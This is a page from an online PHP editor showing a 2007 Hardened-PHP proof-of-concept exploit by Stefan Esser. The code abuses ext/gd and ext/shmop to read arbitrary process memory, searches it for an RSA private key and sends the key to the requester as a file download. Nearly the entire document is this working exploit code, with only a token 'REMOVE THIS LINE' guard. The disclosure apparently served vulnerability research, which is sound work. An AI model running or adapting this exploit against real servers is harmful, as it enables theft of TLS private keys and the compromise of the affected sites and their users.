Online PHP editor | rfc for CJptn

<?php //////////////////////////////////////////////////////////////////////// // _ _ _ _ ___ _ _ ___ // // | || | __ _ _ _ __| | ___ _ _ ___ __| | ___ | _ \| || || _ \ // // | __ |/ _` || '_|/ _` |/ -_)| ' \ / -_)/ _` ||___|| _/| __ || _/ // // |_||_|\__,_||_| \__,_|\___||_||_|\___|\__,_| |_| |_||_||_| // // // // Proof of concept code from the Hardened-PHP Project // // (C) Copyright 2007 Stefan Esser // // // //////////////////////////////////////////////////////////////////////// // PHP ext/shmop SSL RSA Private-Key Disclosure Exploit // //////////////////////////////////////////////////////////////////////// // This is meant as a protection against remote file inclusion. die("REMOVE THIS LINE"); if (!extension_loaded("gd") || !extension_loaded("shmop")) { die("This demonstration exploit only works with ext/gd and ext/shmop loaded."); } function init() { global $rid; $rid = imagecreate(10,10); imagecolorallocate($rid, 0, 0, 0); imagecolorallocate($rid, 0, 0, 0); } function peek($addr, $size) { global $rid; imagecolordeallocate($rid, 0); imagecolordeallocate($rid, 1); imagecolorallocate($rid, $addr, 0, 0); imagecolorallocate($rid, $size, 0, 0); return shmop_read((int)$rid, 0, $size); } init(); $offset = 0x08048000 + 1024 * 64; while (1) { $data = peek($offset, 1024 + 16); $position = strpos($data, "\x30\x82"); if ($position !== false && $position < 1024) { // Potential Key if (substr($data, $position+4, 4) == "\x02\x01\x00\x02") { $length = ord($data[$position+2])*256+ord($data[$position+3])+4; $keydata = peek($offset + $position, $length); // Assume an exponent of 0x10001 to really find a RSA key and not a DSA one if (strpos($keydata, "\x01\x00\x01") > 0) break; } } $offset += 1024; } header("Content-type: application/octet-stream"); header("Content-Disposition: attachment; filename=\"server.der\""); echo $keydata; ?>

3v4l.org

Active branches

Archived branches